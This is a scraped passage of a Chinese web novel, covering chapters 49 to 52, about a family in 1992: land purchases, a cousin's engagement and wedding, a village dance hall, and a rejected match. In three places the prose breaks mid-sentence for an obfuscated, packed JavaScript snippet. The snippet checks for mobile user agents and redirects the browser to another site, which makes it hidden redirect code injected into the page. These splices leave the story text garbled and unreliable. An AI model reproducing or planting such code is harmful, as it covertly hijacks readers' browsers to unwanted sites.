秀水见他们不以为然,笑道:“等过段时间,说不定好多官员都要辞掉铁饭碗下海呢。” “下海?”喻庆山第一次听到这个说法,忙问:“是要去海南吗?” “不,是辞掉工作去经商。”秀水解释。 刘瑞英明显不信,无论哪朝哪代,吃皇粮的人都是高人一等的。哪有从高往低走的道理?但听秀水这么说,她心里还是高兴的。国家政策总是在变化,之前她总是担心,她家早餐店说不准哪天就不许开了。所以红英村的十来亩地,她无论如何都要留在手里,也算给全家人留条退路。 但现在,既然端铁饭碗的人都愿意经商,那他们的小生意肯定也能做得更长久些吧? 他们都是普通人,时代的洪流从身边淌过,没有人知道他们的生活即将迎来巨大改变。只有伍爱娜激动地嚷嚷:“我回家就跟我妈说去!别人官都不做了,要去经商,凭啥她不准我跟姐一起卖服装!” 无论是国事还是家事,给这个家留下的印迹暂时都很浅淡。倒是正月里有两件事让喻庆山夫妇印象更深刻:喻庆海终于要在小庙村买地基了,秀真的亲事也定下来了。 正月初三是喻庆山请客的日子,九点多钟李贵忠就骑着摩托车,带着老婆和李思德先到了。刚参观完喻家新居,喻庆海夫妇和秀明也来了。秀明一进屋,就向大姑父讨教买地基的事。李贵忠见识比他们强,凡事问问他总没错的。 谁知李贵忠直接说:“要买就趁早。这边还有多的地基吗?要不我们一起买,到时候让思德过来住。” 秀明立刻得意了,朝喻庆海说:“怎么样?我就说大姑爹肯定会同意!你们还不信!” 既然李贵忠都这么说了,喻庆海自然是信服的,忙道:“这边村里还有地基!就是没有庆山的地段好!都在村里面,只能盖房住人,楼下不能开店做生意的。” “唉,一步慢,步步慢。那时要是跟小舅他们一起买地就好了,”李贵忠感叹完了,又说:“不要紧,等这边真正热闹了,哪怕开家小旅馆也行啊……” 秀明听了眼睛一亮,对啊,他们怎么没想到呢?不能像小叔这样在楼下开店,但也可以干点别的啊。 在李贵忠的促成下,一群人也不喝茶了,等伍为民一过来,就急急忙忙地说了这事,大家一起出门看地基去,连喻庆山都丢下手里的活儿跟着去了。 在村里连看了好几处地方后,喻庆山越看越是庆幸。那地基还没有他们家的大,又不靠路,现在竟也卖到三千多块钱了。李贵忠却并没有一味嫌贵,很快就相中了两块地基。隔得不远,就在村里那条路的两边。 一群人站在空地上指点讨论了半天,准备过几天再正式来询价办手续。等回到家,正好刘文强两口子也到了。刘瑞英端上饭菜,大家分两桌坐着,边喝酒边聊天,宾主尽欢而散。正月初八那天,李贵忠真的骑摩托带着秀明,过来小庙村办了手续,正式把两块地买下来了。 秀真的对象安国庆从外地过来提亲,却是在正月初十。喻庆山清早就把老婆女儿送到哥嫂家,又帮他们到城里接安国庆。这天喻庆海家高朋满座,喻庆华和蒋士芳的娘家人也都早早到了。秀水和秀竹刚进屋,便被秀真拉到自己房间说悄悄话去了。 秀真的房间收拾得格外整洁,床单铺得平平整整,被子叠得四四方方。她还新烫了刘海,描着眉,涂了口红,打扮得格外光鲜亮丽。秀竹赞叹道:“真姐,你今天好漂亮啊!” 秀真抿着嘴笑,秀水便问:“安国庆什么时候过来的?” “昨天坐车到了市里,在宾馆住了一晚。”秀真温温柔柔地答。 “姐,我姐夫是个啥样的人啊?”秀竹问。 她只知道对方是个包工头,但为人和长相如何总要打听打听。秀真也不知道如何形容,微笑道:“等会儿来了你不就能看到了?” “哎,我好舍不得你嫁人啊,”秀竹轻声哀叹,“还嫁得那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933029|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远,几年才能回来一次吧?” “女孩子嘛,总要嫁人的。”秀真说着有几分怅然,又有几分羞涩,“你还说呢,过两年等秀水嫁人,你不是更难过?” 对于姐姐嫁人这件事,秀竹还从未设想过,顿时更难受了,“姐,咱们都不嫁人吧。在自己家里过的好好的,为什么要去别人家?” 秀水和秀真听了都笑,秀水玩笑道:“好啊,以后你要是看上什么人了怎么办?” “我才不会,”秀竹想了想,小声道:“除非……除非是乖乖虎,我才愿意嫁给他!” 小姐妹几个说了会儿话,秀水便又正经道:“真姐,你嫁那么远,要是安国庆敢欺负你,你可别忍着。给秀明哥或我们打电话,我们去接你。” “对,给你撑腰,帮你打他!”秀竹跟着道。 秀真笑得很开心。她性格跟父亲一样温吞老实,什么事情都需要有个人在后面推着走。早上喻庆华过来后,已经教了她一篇驭夫经。无非是对公婆要热忱周到,对丈夫要温存体贴,但同时也要为自己争取到家庭经济大权,这样才不会轻易被人拿捏等等。秀真听得很认真,具体操作上却仍是稀里糊涂,对婚后的生活,有点向往,也有点恐惧。 正说着,外面又喧闹起来,秀竹朝窗外看了一眼,笑道:“真姐,你对象来了。” 秀水便也隔着窗户朝外瞧,就见摩托车上下来了一个小伙子,手里提着大包小包的东西。秀明和李贵忠和他在外地就认识,忙都上去寒喧。 安国庆长得倒周正,只是个子不高。看着和高挑的秀真差不多。大家围着堂屋方桌团团坐定,桌上放着果碟和瓜籽饼干等吃食。安国庆笑意盈盈,跟大家一一打着招呼,说话做事透着精明利索。——当然了,若是差一点,也没办法当包工头。 喻庆山和刘瑞英看了也悄悄点头。刘瑞英去厨下和蒋士芳准备饭菜,夸奖道:“女婿是个好样儿的。一点都不怯场,难怪能跟她大姑爹那样,在外头做工程!” 蒋士芳也满脸是笑,“婶子,等下叫小叔也帮忙把个关,毕竟是姑娘一辈子的事。” 大家吃茶聊天,很快就到了饭点。蒋士芳和玉贞忙忙地撤掉果碟,女人们帮着端上饭菜。也是两张桌子,男人们陪着新姑爷,妇女们陪秀真,都摆在堂屋里,把堂屋塞得严严实实的。 等大家都坐得差不多了,秀水和秀竹才陪着秀真出来。秀真红着脸,朝安国庆那边瞥了一眼,一脸幸福小女儿的娇羞模样。 另一桌的安国庆也不时打量着这边的女孩们。对秀真他是满意的,模样儿好,性格温顺,人也勤快。不然他也不会千里迢迢过来提亲。一顿饭下来,他很快就和喻庆海等人议下了娶亲的日子,就在两个月后。按说不该这么急的,但安国庆的理由却很充分。四月份他要去另一家工地,正好出门前可以把婚事办了。 李贵忠听了也没什么异议,两家便这么说定了。吃完饭后,男人们在堂屋聊天,喻庆华却和蒋士芳等人在厨房里,商量着秀真的嫁妆要置办些什么东西。时间这么紧,该准备的立马就该准备起来了。 两家不在一个省,便不能再跟过去那样,做些桌椅板凳之类的夯实东西。讨论来讨论去,喻庆华最后道:“依我说,给孩子买几床好点的被单,其他的就罢了。让他们些钱,都去那边买。反正现在什么东西都时兴买,咱们请木匠打的家具,人家还不一定看得上。” 50. 第 50 章 听说秀竹喜欢小虎队,伍爱娜不知在哪里搞到一版小虎队的贴画,兴冲冲地拿了过来。果然,秀竹一看到贴画,就抱着伍爱娜尖叫了起来,然后她飞跑着回了楼上房间,把贴画仔细夹进了自己手抄的歌词本里。 院子里,秀水正和伍爱今对练拳击。说是对练,其实是单方面的殴打。嘭嘭的击打声,伴随着秀水的喝斥:“后手是残了吗?老掉!”“护脸!注意护脸!”“右手慢了,要挨打了……” 伍爱娜站在旁边看了一会儿,比较同情自己的老弟。她姐平时看着跟个温婉少女似的,一旦动起手来就特别凶残。幸好她爷爷奶奶不在这儿,不然肯定心疼坏了。 等两人歇下来,伍爱娜才说:“姐,我们村里有舞厅了。晚上一起去跳舞啊。” 伍爱今一听就撇嘴,“搂搂抱抱的,恶心!” 伍爱娜对老弟的怜爱烟消云散,一脚踹过去,“滚蛋!谁跟你说话啊。”又好声好气对她姐:“吃过晚饭了我来喊你啊。” 秀水一听说跳舞,也是兴致勃勃,忙问:“在哪儿?啥样的舞厅啊?” “就是以前村里的旧仓库,现在租给别人布置成了一个舞厅。五爷爷说,出去跳舞也好,免得他们窝在家里抹牌赌博。” 秀水便决定去开开眼界。九十年代,大众舞厅是最常见的娱乐场所,据说她师父和师娘就是跳舞认识的。秀水一直十分好奇,王大刀疤那种雄鹰般的男人,竟然也会上舞厅跳舞!竟然还因为跳舞搞到了对象!她早就想见识见识,这不机会来了吗? “晚上咱们早点去。”秀水说着又问跑下来的秀竹:“竹子,去跳舞么?” 秀竹摇头,她白天浪费了太多时间,晚上要留在家里刷题。伍爱娜劝道:“竹子,偶尔也要放松一下嘛。” 秀竹道:“做题也是放松啊。” 伍爱娜伸伸舌头,理解不了一点这种变态的放松。她和伍爱今往家走,还不忘叮嘱,“姐,晚上记得穿好看点!” 晚上,一家人刚吃完饭,伍爱娜就来了。她穿着短款小皮衣和牛仔裤,冷得真搓手。但看了秀水的服装后却大摇其头。“姐,你穿太多了!里面暖和,一跳舞就出汗,一定要穿少!” 于是秀水回房换了件红色收腰薄款棉衣,下面配牛仔裤和高帮皮靴,头上松松扎了个丸子头,份外显得腰细腿长。伍爱娜看了羡慕不已,“我怎么没长这样的大长腿,唉,我妈就不该嫁我爸,都是我爸基因不好……” 两人往外走时,被堂屋里的刘瑞英看到了。刘瑞英电视都不看了,赶出来怒喝:“天寒地冻的,穿那么少干什么去?穿得像油子,冻得像猴子,进来换件厚棉袄再出门……” 秀水拉着伍爱娜一溜烟跑了,徒留刘瑞英在风中呼唤:“回来!穿件厚衣服,别冻凉了……” 伍爱娜带着她姐走大路、穿小巷,十几分钟以后才来到一处平房。外形看着果然是栋仓库。隔着老远就听到里面传来些靡靡之音。仓库门前挂着厚帘子,一个人打着手电筒,坐在门旁收费。手边放着一只鞋盒,牌子上写着“每人五毛”。 也没有路灯,到处黑乎乎的。人却是不少,不时有人结伴而来。伍爱娜朝鞋盒里扔了一元钱,带秀水进去了。就见里面也黑乎乎的,条件异常简陋。却是满满一仓库人,估计全村的年轻男女都聚在这里了。两盏旋转的彩灯在水泥地面投下五彩斑斓的灯光。男男女女们正在邓丽君的歌声中跳慢三,旁边还三五成群站着些人围观。 “这么多人哪?”秀水惊叹。 “今天还算少呢,前几天更多!”伍爱娜拉着秀水,很快找到了自己的小姐妹。都是光顾过服装店的,见到秀水,小姑娘们纷纷喊姐。然后大家两两作伴,一起进了舞池。 一曲歌罢,舞池的人纷纷退开,呈圆环状分布在舞池四周。但是很快,又一首欢快的歌曲响起来了。 “恰恰舞,这是跳恰恰的!”身边一个小姑娘说。 人群中便有一男一女,一路恰恰恰地跳到了舞池中央。男人身高腿长,舞姿特别潇洒。女人也身材姣好,节奏感很强。秀水旁边的女孩们纷纷交头接耳,仰慕地看向那一对。伍爱娜悄悄告诉秀水,“那是舞王!我们这儿跳得最好的!” “是的!听说他在城里上班,”一个女孩眼里闪着光,“他爸还是麻纺厂厂长!” “啊啊啊,要是他来请我跳舞就好了!”另一个小女孩小声娇呼。 不过,没有舞王来邀请,他们也很快就涌进了舞池,全都跳得异常欢快活泼。伍爱娜也迫不及待拉着秀水说:“姐,我和你跳!” “可我不会啊!”秀水摆手。伍爱娜却强拉她下场,“超级简单,我来教你。一二恰恰恰,一二恰恰恰……” 确实不算难。作为自娱自乐的舞蹈项目,跳成什么样子都应该被包容。秀水跟着恰了一会儿,刚才还发冷的手脚立刻就热乎了。难怪伍爱娜一再强调要少穿,果然是经验之谈,不光为了好看。 又是一曲慢四,音乐响起时,小姑娘们聚在一起,神情中透着娇羞和期盼。很快,旁边男孩群里走出一个人,率先邀请了伍爱娜。伍爱娜便羞涩地笑,朝秀水挑挑眉,跟着别人去了。 紧接着,身边小姑娘逐渐被邀走,就剩秀水一个人站在那儿。伍爱娜跟人跳完一曲,回来时才发现她姐竟然没人请,不由大为诧异,“他们眼都瞎了?我姐这么漂亮,竟然没人过来请她跳舞?” 她甚至揎拳捋袖地准备过去问问熟悉的男孩子,被小姐妹一把拉住,“唉呀,估计是姐太高太靓,没人敢过来嘛!” 伍爱娜便看看四周,果然好多男的都频频瞄向她们这边。当然了,她们这帮女孩个个年轻貌美,本来就引人注目。但伍爱娜觉得,最让人瞩目的仍然是自己的姐。秀水个子又高挑,穿得又帅气,抱着双臂站在那儿,确实又美又飒,比电影海报上的明星都好看。难怪这些乡村土狗都被吓住了。 “姐,我跟你跳!”她肯定不能让她姐感到寂寞,立刻拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小虎队的歌曲响了起来。秀水看到了令她难忘的一幕。节奏强烈的舞曲刚刚响起,人们就在舞王的带领下纷纷涌进舞池,自动排列成队伍,跟着节奏一起跳起了欢快的二十一步。 伍爱娜之所以没有第一时间冲进去抢占有利地形,完全是心里还牵挂着她姐。她急不可耐地说:“姐,我来教你!我来教你!” 其实是非常简单的舞步。先往左四步,再往右四步,朝左转个圈,朝右转个圈……,秀水身体协调能力强,看看就会了。然后她们俩也冲进队列,排在末尾。一大群人跟着节奏,左转一个圈,右转一个圈。 真好玩啊!这该死的青春!这么简陋的舞厅、这么简单的舞步,和年轻的心组合在一起,竟然是这么的有意思!想到年轻的王大刀疤在某处光线昏暗的大众舞厅里,被其他男孩子怂恿着,忐忑不安地邀请同样年轻的师娘跳起了舞,秀水就觉得很好笑。她深爱的两个人,原来就这样开始了恋爱历程啊…… 51. 第 51 章 万万没想到,跳了一次舞,秀水第二天就感冒了! 喻秀水,一个雄鹰般的女人,正值青春、身体强壮,竟然说病就病了! 昨晚舞厅散场后,有两个小庙村的男孩子邀请伍爱娜等人去打台球、喝汽水。台球厅就在村里,离伍家不远。秀水问明情况后,就先行回家了。她热出了一头汗,觉得满身都是舞厅的味道,急着赶回家去洗澡洗头发。 坏就坏在洗头发上。她头发又厚又多,家里又没有电吹风,洗完了只能用毛巾包着等它慢慢干。等着等着,她就靠在床头睡着了。半夜醒来浑身冰凉,头发闷得半干,她就知道要坏事。果然,第二天早起惊天动地连打了三个喷嚏,就开始发烧流鼻涕了。 “我说什么来着?我说什么来着?”听秀竹说了情况,刘瑞英气急败坏地上楼来看她,“昨天那么晚了,你还穿个小袄儿往外跑!那袄子薄得跟个鸡蛋皮儿一样,除了好看还有什么用?该!非把自己搞病了你心里才舒坦……” 秀水又打了几个喷嚏,秀竹给她拿了纸,强行止住她妈的唠叨,“姐姐已经很难受了,妈你不要再说她了。” “我不说她行吗?跟在后头念叨她都不听……”刘瑞英一边嘀咕,一边下楼去烧姜汤水去了。 秀水喝了一大杯滚烫的红糖姜汤水,捂在被子里睡了一觉,发了汗才觉得清爽些。中午伍爱娜过来玩,听说她着了凉,幸灾乐祸地笑:“姐,你天天又跑步又打拳的,怎么身体还没有我好哈哈哈,我都没感冒……” 秀水靠在床头,手里捧着一杯热茶,觉得伍爱娜那副嘴脸着实烦人。倒是秀竹替她姐辩解,“爱运动的人只是生病少,又不是不会生病,照你那么说,运动员个个都要长命百岁了……” 果然,关键时候还是亲妹妹靠得住啊! 伍爱娜陪她聊了会儿天,就又去舞厅了。现在那边白天也开着门,供人学跳舞。年轻人都爱聚在那里,一起说说笑笑,时间过得飞快。年还没过完,这种年纪的孩子们,不把青春挥霍在舞厅里,就要挥霍在台球室里、录像厅里。相比之下还是跳舞好,价钱便宜还锻炼身体。 秀水却是再也不想去跳舞了。她师父老是怀念在舞厅叱咤风云的岁月,是因为有记忆滤镜,她可没有。有那个时间还不如在家练练拳呢。 第二天上午,她穿着厚棉袄在堂屋拥炉而坐,伍爱今和高晟进来了。伍爱今笑嘻嘻地说:“大姐,我听姐说你跳舞跳感冒了,是真的吗?” 看来伍爱娜已经把她生病的事情昭告了各方亲友。秀水没好气地道:“高兴什么?就算残了,收拾你也没问题!” “哈哈哈哈那你来呀,你来呀!”伍爱今不怕死地站在门口挑衅,没提防高晟在背后使黑手,猛地把他朝前一推,伍爱今踉跄扑到烤火桌前,正好被他姐掐住狗头,问:“你自己说,打什么地方?” 伍爱今连连求饶,这才挣脱开来。三人围着烤火桌坐下,秀水问高晟:“你怎么来了?过年不走亲戚吗?” “我爸妈回去了,家里没人。”高晟说。过年这几天可把他无聊坏了。大人聚在一起打牌,小孩聚在一起看电视,只有他一个不大不小的,整天在家无所事事。还是师父这里好玩,至少有人陪他聊聊天、练练拳。 秀水知道高晟父母常年呆在邻县,便问:“你爸妈在那边到底是干啥的?” “我家在隔壁县城有个小矿,”高晟说:“他们一年上头都在那边。老头天天在外面跑,老妈天天守在矿井上。” “原来你还是个矿二代!”秀水惊叹,又疑惑道:“是煤矿吗?我怎么没听说过邻县产煤?” “师父你连这都不知道?”高晟终于找到了秀水的知识盲区,奚落她道:“我们这边不产煤,哪里来的煤矿?是铝土矿。邻县是有名的铝土矿产区,好多私人在那边都有矿洞子。我老爸的矿井算是比较小的……” 秀水听到“铝土矿”,心里不由一动。要知道,她身处的九二年可是冒险家极为热爱的年份。国家在这一年开始成为基建狂魔,建材能源等在这一年价格疯涨、供不应求。之前的矿主们能不能发财各凭本事,但从这一年起,只要手握资源,无不大发其财。“矿老板”一度成为了暴发户的代名词。 “你们家一年能产多少矿石?卖多少钱一吨?一般都销到哪儿去了?”秀水忙打听。 高晟回答不出。他只是个平平无奇的高中生,又不参与矿井的经营管理,怎么会知道这些事? 秀水见他一问摇头三不知,鄙夷道:“徒弟你连这都不知道?切!” 高晟和伍爱今都笑了起来,他们的师父/大姐真是一点亏都不肯吃,有什么仇当场就报了。 高晟和伍爱今陪她坐了一会儿,就又去外面练拳了。秀水在心里默默盘算,既然知道原料要涨价,眼前又有现成的进货渠道,不囤点矿石似乎太说不过去了。可问题是,她没钱啊。 给家里买完摩托三轮,她手头只剩下一万多块钱,大部分资金都要留着进货。至于喻庆山和刘瑞英,更是指望不上。开早餐店本就挣得不多,年底他们又刚还了债,估计手头不超过一千块钱。既然知道致富之道,没有启动资金也不行啊…… 高晟在这边呆了半天,临到中午了才去他姨妈家吃饭。他前脚刚走,刘兰英就后脚进了院子。看见秀水了忙问她感冒好了没有,又喜滋滋地盯着她看了好几眼,这才转头去厨房找刘瑞英了。 “姐,喜事!大喜事!”她神秘兮兮地小声道。 “啥事这么高兴?”刘瑞英忙拉妹妹坐下,两人低低地说起了悄悄话。 原来,自从秀水去了一趟舞厅,村里便有好几个人朝刘兰英打听她的情况。得知秀水还没有对象,忙向她推荐了自家的侄儿/外甥/对门邻居等人选,都是条件不错的大好男儿。刘兰英听了心花怒放,特意过来问问姐姐的意思。 “条件最好的这个男娃儿,他爸是麻纺厂的厂长,本人也在市里上班。今年23岁,长得高高帅帅的。平时不打牌不抽烟,就是喜欢跳舞!听说秀水那晚到舞厅去,人家一眼就相中了。回家就托他大姑过来问情况。姐,美人自有英雄配,咱们家秀水长得这么好看,就该找个条件好的对象……” 刘瑞英听得一颗心怦怦跳。这可是厂长儿子!还有正式工作,吃着商品粮、端着公家碗,要是她们还住在红英村,做梦都不敢想象,一个农村女孩能找到这种对象。 她忙道:“我们秀水可是农村户口,男方家知道么?” “怎么不知道?昨天我就跟他大姑说了,”刘兰英满脸笑容,“人家说了,不在乎这个!大不了家里花点钱,给秀水买个商品粮户口。男孩子样样都好,就是太挑剔!以前也有人给他介绍对象,他都没看上!不是说姑娘不够漂亮,就是嫌人家长得矮!你说,这不是秀水的缘份到了么?专为她留到现在……” 刘瑞英激动得脸都红了,当场就准备答应下来,突然想到自己前几天刚跟喻庆山商量过,要留秀水在家招赘。可这招赘的话一旦说出去,别说厂长的儿子,就算那几个条件略差些的男孩子,只怕都要打退堂鼓。 她心里无比纠结,一方面觉得,不能因为给自己养老,就让大女儿白白错过好姻缘;另一方面又觉得,指望小女儿招赘太遥远了,要是她读完大学去外地工作,再提这事只怕就迟了。正想得出神,就听刘兰英催促道:“怎么了姐?行不行,你倒是说一声。难道秀水真有了对象?” “没有没有,”刘瑞英忙道:“她天天不是开店就是打拳,上哪儿谈对象去?只是我想着……” 她吞吞吐吐,到底还是把想留秀水招赘的事情告诉了妹妹。刘兰英一听也为难了。姐姐家只有两个女儿,留长女坐家招夫是再自然不过的事情。但如此一来,这门好亲事怕是要断了……想到这里,她便道:“你再跟姐夫商量商量,我好给别人家回信儿。” “好,你别忙着回信儿,我再跟她爸商量商量!”刘瑞英也忙说。 刘兰英又坐了片刻,才起身告辞。路过堂屋时又跟秀水打了声招呼。就见外甥女儿松松挽着长发,穿着自家缝的花棉袄,虽然不事修饰,却是个天然的美人。难怪才去一次舞厅,就有那么多人想上门提亲。只是眼下这种情况,也不知道最后会落到谁家去。 刘兰英独自叹息着走了,秀水便问她妈:“姨妈过来干啥呢?鬼鬼祟祟的。” 刘瑞英还沉浸在自己的世界里,没顾得上纠正秀水的用词,只说:“没事儿,就聊聊天,大过年的还能干啥?” 秀水也没追根究底,又回头看电视去了。刘瑞英站在院子里,左思右想,还是得先和丈夫商量,便蹬蹬蹬地爬上了楼。 过年期间,喻庆山难得有了闲暇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943034|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正坐在被窝里看秀水给他买的《三国演义》。正看到赵子龙大战长坂坡的紧要关头,刘瑞英进来在他旁边坐下,半天也没吭一声。 喻庆山过了好一会儿才反应过来,把书放下问:“怎么了?又有谁惹你不高兴了?” “不是,我哪儿不高兴了?我高兴得很!”刘瑞英回过神来辩解,又偷感很重地朝外看了一眼,小声说:“告诉你个事儿,兰英今天过来了!” 喻庆山莫名其妙,自从两家搬到一个村,小姨子哪天不过来两趟?这也值得说啊。 刘瑞英顿了顿,自认为卖了个关子,才又说:“小庙村好几个人看上秀水了,想托她说媒呢。” “啊?”喻庆山立刻正襟危坐,“都是什么样的人家?” “男方条件好得很……就是太好了些。”刘瑞英感叹着,把几个男孩子的情况都说了下。喻庆山一听就知道她在为难什么。上次两口子本来都已经商量好了,但若真因为要招赘,让秀水错过大好姻缘,当父母的如何能忍心? 喻庆山想了半天,提议道:“要不,先跟秀水商量商量?” 刘瑞英想了想,也点了头。别人家的女孩儿,婚姻大事自然都是父母作主。可他们家秀水不一样,从搬家到开店,哪次不是她拿主意的?她要是不同意,哪怕他们再一厢情愿,只怕最后也难办成。 喻庆山忙穿衣服起床,两人一起去了堂屋,在烤火桌边坐下。刘瑞英想了想,先开口道:“村里那舞厅,人多不多?好不好玩?” 秀水大为奇怪,扭头看她,“妈,难不成你和我爸也想去跳舞?” 刘瑞英嗔道:“我白问问也不行?” “好玩啊,人挺多的,好多中年人也去呢。跳跳舞手脚都暖和了,你们没事去活动一下!”秀水真诚建议,又说:“只是改天我要提醒五叔,要注意舞厅的消防安全。那么多人挤在里面,只有一扇门进出可不行……” 刘瑞英见她越扯越远,忙打断了,“听说还有男孩子请你跳舞?” “对啊,”秀水打量起了父母,“我这么好看,肯定会有人请的嘛,很奇怪吗?” 刘瑞英想笑,忙又忍住了,看她脸皮怪厚的,索性直接把刘兰英介绍对象的事情说了。秀水哂笑,“我就说嘛!姨妈今天怪模怪样的,一看就有鬼。你怎么现在又告诉我了呢?” 刘瑞英忙看喻庆山,喻庆山咳嗽一声,说:“我跟你妈本来商量好了,家里两个女儿,留一个在家招女婿,给我们养老送终……” “行啊,没问题。”秀水满不在乎地说:“那我就留在家呗。” 不是!这孩子到底明不明白她在说什么? “那人家厂长儿子都看上你了呢!”刘瑞英忙说:“要说出嫁,人家肯定愿意的。要说招赘,那愿意的人可就少了……” 她越说越觉得底气不足,甚至觉得是自己拖累了女儿。谁知秀水伸个懒腰道:“不愿意就算了。自然有别的人愿意。厂长儿子什么了不起吗?那我还是豆腐包掌门人的女儿呢!” 喻庆山和刘瑞英啼笑皆非,第一次觉得他们家大女儿只怕脑子有问题。“这可是你的终身大事!条件这么好的男孩子,拒绝一回可就没有第二回了。你再仔细想想。要是你同意呢,就先跟别人处一处……”喻庆山把心一横,说:“我和你妈还年轻,养老的事情以后再说……” “我不同意。”秀水接口道。开什么玩笑?她才十九岁,满脑子都是挣钱搞事业,哪来的闲功夫处对象? “不是,你爸的话你到底听进去了没有?”刘瑞英又气急败坏了。他们纠结来纠结去,合着这位姑奶奶根本就没准备处对象!“你也不小了,等秀真结了婚,家里可不就轮到你了吗?我和你爸固然是想留你在家里,可你要是能嫁个好人家,我们也不能拖后腿。我的意思是你先跟人处处……” 秀水站起身,说:“那我明白告诉你们,我现在还没有谈恋爱的想法,等过两年再说。而且我就算结了婚,也还是你们的女儿。别整天东想西想地瞎琢磨了,烦不烦啊!” 她说完就走,丝毫没给刘瑞英反驳的机会。堂屋里沉默了好一会儿,刘瑞英才悻悻地道:“这暴脾气,到底是像了谁啊?” “像你呗,”喻庆山笑,“虽然脾气有点暴,可是心疼体贴父母。咱们这女儿没白养,我看比多少人的儿子都强!” 52. 第 52 章 即使秀水拒绝的态度很明确,刘瑞英到底还是不死心。想想死马当作活马医,第二天便告诉妹妹,大女儿要留在家里顶门立户,不嫁人的。有愿意招赘的才能考虑。刘兰英叹息着给各家回了话,果然那几家都不再提说媒的事了。 刘瑞英心里不快活了好几天,看到秀水就没好气。幸好很快过了正月十五,两人各有各的事情要忙。秀水要进货开店,刘瑞英则时常开车回红英村。一来是趁店里生意闲,赶紧干点地里的活儿;二来秀真要出嫁,蒋士芳时常会找她商量置办嫁妆的事情。 秀真今年没再跟着哥哥出去打工,而是像大多数待嫁的女孩那样,在家筹办嫁妆。她拿着安国庆给的彩礼钱,去秀水店里置办了两身新衣服,又买了黄金戒指和两口大皮箱。蒋士芳又给她买了全套的床品。就这么匆匆忙忙的,转眼就到了三月底出嫁的日子。 那天喻庆山清早开着摩托车去车站,接到了远道而来的安国庆,在红英村的喻家举办了典礼。刘瑞英和喻庆山都去吃了饭,晚上还丢了添妆钱。蒋士芳把一口大皮箱打开,放在堂屋的桌子上,亲戚们分头上前,丢些钱在里面,这就是所谓的添妆钱,某种意义上算是女孩子的私房钱。 喻庆华和喻庆山商量了,除赶人情外,每家朝箱子里丢了一百块,引得亲戚们一阵艳羡。余下各家,也有丢五块十块的,也有丢二十的,总共凑了近四百块钱。蒋士芳清点了,一分没留,全都交给了秀真。 “这钱你拿着,别入在礼账里,也别给国庆晓得了。”蒋士芳说着,忍不住淌了几滴泪,“嫁那么远,以后有事娘家这边也赶不过去,全靠你自己顶着。你手里要留点钱傍身,他们家要是敢欺负你,你就坐车回来,叫上你爸和你哥过去和他们理论……” 当然这是做母亲的最坏设想。最好的自然是小两口一心一意过日子,她这个当妈的再不操心。秀真流着眼泪接了钱,放进自己的小荷包里。第二天是出嫁的正日子,娘家这边是秀明和秀水两人送亲到A省。几人在安国庆带领下,肩挑手提地带着东西上了汽车,又去江市转火车。路上整整走了两天,才到了安国庆所在的市里。 当晚大家都住进市区一家宾馆,第二天清早,安家才派了一辆拖拉机和两辆摩托车过来接人。秀明和其他接亲的人都坐在拖拉机上,照看着嫁妆。安国庆和秀真秀水分坐两辆摩托车,先行一步。 秀真穿着大红的薄毛呢大衣,化着妆,烫了头,打扮得十分光鲜亮丽。秀水和她坐在摩托车后座上,一路风驰电掣,很快到了村口。村里人都出来迎亲,拦在路上讨要香烟和喜糖,安国庆和接新的人们忙着散烟散糖。摩托车骑不成了,秀水和秀真便跟在后面,步行朝村里走。 前面就是张灯结彩的安家,路边突然走过来几个笑吟吟的女人。其中一人手里端着簸箕,里面沉甸甸地不知装着什么。一群人离她们越来越近,靠近秀真身边时,突然端起簸箕就把东西往她头上倒。 幸而秀水全副身心都在她姐身上,一把扯过秀真。就见一簸箕黑乎乎的麸皮倒在地上,腾起一阵灰尘。 “干什么你?”秀水扬眉怒喝。 女人见麸皮没有倒在新娘子身上,也很懊恼,“添福添福,身上没点麸子怎么进门?”说着又从地上捧起一把沾了灰尘的麸皮,要往秀真身上撒。 秀真尖叫着往后躲,秀水忙拦在前头,厉声道:“放下!你要再敢撒,别怪我不客气!” 她表情凶狠,一看就是动了真怒。那女人捧着满把的麸皮,脸上笑得讪讪的,看着安国庆没敢再动。这时旁边一个中年女人却说:“国庆,这是秀真的娘家妹子?怎么不懂规矩?我们是来添福的呀!” “我姐穿金戴银,有的是福气,用不着你们来添!”秀水不耐烦地说,又对安国庆道:“姐夫,咱们省可没这种规矩,把脏东西随便朝新娘子身上倒!要是后面再有这些陋习,都可以收起来了。我不像我姐那么好脾气,别到时候闹起来你们不好收拾。” 中年女人也恼了,“国庆,她说这话啥意思?我们一片好意,她倒当驴肝肺!什么是陋习啊?你们省没这规矩,那是见识少……” 安国庆忙叫住她大姐,拉着她往旁边去了。秀水却没惯着她,说:“这种穷家小户的规矩我们哪见过?见不得新娘子漂漂亮亮地进门是吧?说得好听,一片好意!我看是趁这个机会给我姐立下马威吧……” 旁边迎亲的男女和看热闹的人都哄笑起来,纷纷劝解道:“算了算了,大喜的日子,大家都少说两句!” 